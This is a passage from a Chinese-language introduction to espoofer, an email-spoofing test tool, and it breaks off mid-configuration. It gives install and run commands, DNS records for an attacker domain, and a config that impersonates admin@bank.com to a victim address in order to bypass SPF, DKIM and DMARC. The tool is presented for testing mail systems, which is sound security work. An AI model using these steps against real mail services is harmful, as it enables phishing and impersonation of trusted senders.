espoofer是一款功能强大的电子邮件系统安全检测工具,同时它也是一款电子邮件欺骗攻击测试工具。在该工具的帮助下,广大研究人员不仅可以轻松绕过SPF、DKIM和DMARC等与电子邮件安全相关的协议,而且还可以伪造DKIM签名。支持绕过电子邮件系统中的SPF、DKIM和DMARC身份验证机制。值得一提的是,该工具能够帮助邮件服务器管理员和渗透测试人员检查目标电子邮件服务器和客户端是否容易受到电子邮件欺骗攻击,或者是否可能被滥用以发送欺骗电子邮件。

下图显示的是一次针对Gmail邮箱的欺骗攻击:

演示视频:【https://you*tu.be/xuKZpT0rsd0】

安装

第一步:我们需要使用下列命令将该项目源码克隆至本地:
项目地址:https://github.com/chenjj/espoofer

git clone https://github.com/chenjj/espoofer

第二步:还需要使用pip3安装好该工具所需的依赖组件:

sudo pip3 install -r requirements.txt

版本要求:Python 3(>=3.7)

功能说明

epsoofer提供了三种工作模式:服务器模式、客户端模式、手动模式。

  • 服务器模式下,epsoofer会以邮件服务器的形式运行;
  • 客户端模式下,epsoofer会以邮件客户端的形式运行;
  • 手动模式一般用于调试目的。

下图显示的是三种模式以及对应的攻击者行为:

服务器模式

如需让epsoofer以服务器模式运行,首先我们要有一个IP地址(1.2.3.4),其输出端口为25,并且没有被ISP屏蔽;其次就是一个域名(attack.com)。

1、域名配置

设置attack.com的DKIM公钥:

selector._domainkey.attacker.com TXT  "v=DKIM1; k=rsa; t=y; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDNjwdrmp/gcbKLaGQfRZk+LJ6XOWuQXkAOa/lI1En4t4sLuWiKiL6hACqMrsKQ8XfgqN76mmx4CHWn2VqVewFh7QTvshGLywWwrAJZdQ4KTlfR/2EwAlrItndijOfr2tpZRgP0nTY6saktkhQdwrk3U0SZmG7U8L9IPj7ZwPKGvQIDAQAB"

设置attack.com的SPF记录:

attack.com TXT "v=spf1 ip4:1.2.3.4 +all"

2、在config.py中配置工具

config =
"attacker_site": b"attack.com", # attack.com
"legitimate_site_address": b"admin@bank.com", # legitimate.com
"victim_address": b"victim@victim.com", # victim@victim.com
"case_id": b"server_a1", # server_a1

我们可以使用-l参数来查看所有测试的case_id:

python3 espoofer.py -l

3、运行工具并发送一封欺骗邮件

python3 espoofer.py

我们还可以在config.py中修改case_id,或在命令行工具中使用-id选项来测试不同的样例:

python3 espoofer.py -id server_a1

客户端模式

要在客户端模式下运行epsoofer,我们需要在目标电子邮件服务上拥有一个帐户。比如说,下面的例子中attacker@gmail.com会尝试伪装成admin@gmail.com进行操作。

1、在config.py文件中配置espoofer

config =
	"legitimate_site_address": b"admin@gmail.com",  
	"victim_address": b"victim@victim.com&

以上是关于如何保证邮件系统的安全?的主要内容,如果未能解决你的问题,请参考以下文章

SpringBoot 如何保证接口安全?老鸟们都是这么玩的

08.如何保证API接口的安全性问题01

如何安全地进行ddos压力测试?

区块链如何保证5G时代的物联网设备组网安全

数据的加密与解密

如何检查Linux系统服务器的安全性